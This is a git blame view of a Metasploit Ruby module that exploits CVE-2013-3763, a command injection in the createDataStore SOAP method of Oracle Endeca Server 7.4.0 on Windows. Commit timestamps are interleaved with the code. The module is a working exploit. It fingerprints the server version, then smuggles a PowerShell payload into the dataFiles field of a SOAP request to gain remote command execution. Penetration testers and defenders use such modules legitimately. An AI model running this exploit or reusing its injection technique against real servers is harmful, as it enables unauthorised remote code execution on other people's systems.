Files
metasploit-gs/modules/exploits/windows/http/oracle_endeca_exec.rb
T

Ignoring revisions in .git-blame-ignore-revs. Click here to bypass and see the normal blame view.

152 lines
4.5 KiB
Ruby
Raw Normal View History

2013-08-21 12:47:47 -05:00
##
2017-07-24 06:26:21 -07:00
# This module requires Metasploit: https://metasploit.com/download
2013-10-15 13:50:46 -05:00
# Current source: https://github.com/rapid7/metasploit-framework
2013-08-21 12:47:47 -05:00
##
2016-03-08 14:02:44 +01:00
class MetasploitModule < Msf::Exploit::Remote
2013-08-21 12:47:47 -05:00
Rank = ExcellentRanking
2013-08-30 16:28:54 -05:00
2013-08-21 12:47:47 -05:00
include Msf::Exploit::Remote::HttpClient
2013-08-23 14:39:29 -05:00
include Msf::Exploit::Powershell
2013-08-30 16:28:54 -05:00
2013-08-21 12:47:47 -05:00
def initialize
super(
'Name' => 'Oracle Endeca Server Remote Command Execution',
'Description' => %q{
This module exploits a command injection vulnerability on the Oracle Endeca
Server 7.4.0. The vulnerability exists on the createDataStore method from the
controlSoapBinding web service. The vulnerable method only exists on the 7.4.0
branch and isn't available on the 7.5.5.1 branch. In addition, the injection
2013-08-21 12:47:47 -05:00
has been found to be Windows specific. This module has been tested successfully
on Endeca Server 7.4.0.787 over Windows 2008 R2 (64 bits).
},
'Author' => [
'rgod <rgod[at]autistici.org>', # Vulnerability discovery
'juan vazquez' # Metasploit module
],
'Platform' => 'win',
'Arch' => [ ARCH_X64, ARCH_X86 ],
2013-08-21 12:47:47 -05:00
'References' =>
[
[ 'CVE', '2013-3763' ],
[ 'BID', '61217' ],
[ 'OSVDB', '95269' ],
2013-10-21 15:07:07 -05:00
[ 'ZDI', '13-190' ],
2013-08-21 12:47:47 -05:00
[ 'URL', 'http://www.oracle.com/technetwork/topics/security/cpujuly2013-1899826.html' ]
],
'Targets' =>
[
2013-08-23 14:39:29 -05:00
[ 'Oracle Endeca Server 7.4.0 / Microsoft Windows 2008 R2 64 bits', { } ]
2013-08-21 12:47:47 -05:00
],
'DefaultTarget' => 0,
'Privileged' => false,
'DisclosureDate' => 'Jul 16 2013'
)
2013-08-30 16:28:54 -05:00
2013-08-21 12:47:47 -05:00
register_options(
[
Opt::RPORT(7770),
OptString.new('TARGETURI', [true, 'The URI path of the Control Web Service', '/ws/control'])
])
2013-08-21 12:47:47 -05:00
end
2013-08-30 16:28:54 -05:00
2013-08-21 12:47:47 -05:00
def version_soap
soap = <<-eos
<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:ns="http://www.endeca.com/endeca-server/control/1/0">
<soapenv:Header/>
<soapenv:Body>
<ns:version/>
</soapenv:Body>
</soapenv:Envelope>
eos
return soap
end
def create_data_store_soap(name, files)
soap = <<-eos
<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:ns="http://www.endeca.com/endeca-server/control/1/0">
<soapenv:Header/>
<soapenv:Body>
<ns:createDataStore>
<ns:dataStoreConfig>
<ns:name>#{name}</ns:name>
<ns:dataFiles>#{files}</ns:dataFiles>
</ns:dataStoreConfig>
</ns:createDataStore>
</soapenv:Body>
</soapenv:Envelope>
eos
2013-08-30 16:28:54 -05:00
2013-08-21 12:47:47 -05:00
return soap
end
2013-08-30 16:28:54 -05:00
2013-08-21 12:47:47 -05:00
def check
2013-08-30 16:28:54 -05:00
2013-08-21 12:47:47 -05:00
res = send_request_soap(version_soap)
2013-08-30 16:28:54 -05:00
2013-08-21 12:47:47 -05:00
if res.nil? or res.code != 200 or res.body !~ /versionResponse/
return Exploit::CheckCode::Safe
end
2013-08-30 16:28:54 -05:00
2013-08-21 12:47:47 -05:00
version_match = res.body.match(/<serverVersion>Oracle Endeca Server ([0-9\.]*) /)
2013-08-30 16:28:54 -05:00
2013-08-21 12:47:47 -05:00
if version_match.nil?
2014-01-21 11:07:03 -06:00
return Exploit::CheckCode::Safe
2013-08-21 12:47:47 -05:00
else
version = version_match[1]
end
2013-08-30 16:28:54 -05:00
2016-02-01 15:12:03 -06:00
vprint_status("Version found: Oracle Endeca Server #{version}")
2013-08-30 16:28:54 -05:00
2013-08-21 12:47:47 -05:00
if version =~ /7\.4\.0/ and version <= "7.4.0.787"
2014-01-21 11:07:03 -06:00
return Exploit::CheckCode::Appears
2013-08-21 12:47:47 -05:00
end
2013-08-30 16:28:54 -05:00
2013-08-21 12:47:47 -05:00
return Exploit::CheckCode::Safe
2013-08-30 16:28:54 -05:00
2013-08-21 12:47:47 -05:00
end
2013-08-30 16:28:54 -05:00
2013-08-21 12:47:47 -05:00
def send_request_soap(data)
res = send_request_cgi({
2013-08-21 16:49:24 -05:00
'uri' => normalize_uri(target_uri.path),
2013-08-21 12:47:47 -05:00
'method' => 'POST',
'ctype' => 'text/xml; charset=utf-8',
'headers' =>
{
'SOAPAction' => "\"\""
},
'data' => data
})
2013-08-30 16:28:54 -05:00
2013-08-21 12:47:47 -05:00
return res
end
2013-08-30 16:28:54 -05:00
2013-08-21 12:47:47 -05:00
def exploit
command = cmd_psh_payload(payload.encoded, payload_instance.arch.first)
2013-08-23 14:39:29 -05:00
if command.length > 8000
# Windows 2008 Command Prompt Max Length is 8191
2015-03-27 11:55:15 -07:00
fail_with(Failure::BadConfig, "#{peer} - The selected payload is too long to execute through powershell in one command")
2013-08-23 14:39:29 -05:00
end
2016-02-01 15:12:03 -06:00
print_status("Exploiting through Powershell...")
2013-08-23 14:39:29 -05:00
execute_command(command)
2013-08-21 12:47:47 -05:00
end
2013-08-30 16:28:54 -05:00
2013-08-23 14:39:29 -05:00
def execute_command(cmd)
2013-08-21 12:47:47 -05:00
# HTML encode ampersands so SOAP is correctly interpreted
cmd.gsub!(/&/, "&#x26;")
injection = "c:\\&#x22;&#x26; #{cmd} &#x26;&#x22;"
exploit_data = create_data_store_soap(rand_text_alpha(4), injection)
begin
res = send_request_soap(exploit_data)
2013-08-23 14:39:29 -05:00
if res.nil? or res.code != 500 or ( res.body !~ /Error creating data files at/ and res.body !~ /Data files don't exist/ )
print_status("#{res.code}\n#{res.body}") if res
2013-08-21 12:47:47 -05:00
fail_with(Failure::UnexpectedReply, "#{peer} - Unable to execute the CMD Stager")
end
rescue ::Rex::ConnectionError
fail_with(Failure::Unreachable, "#{peer} - Unable to connect")
end
end
end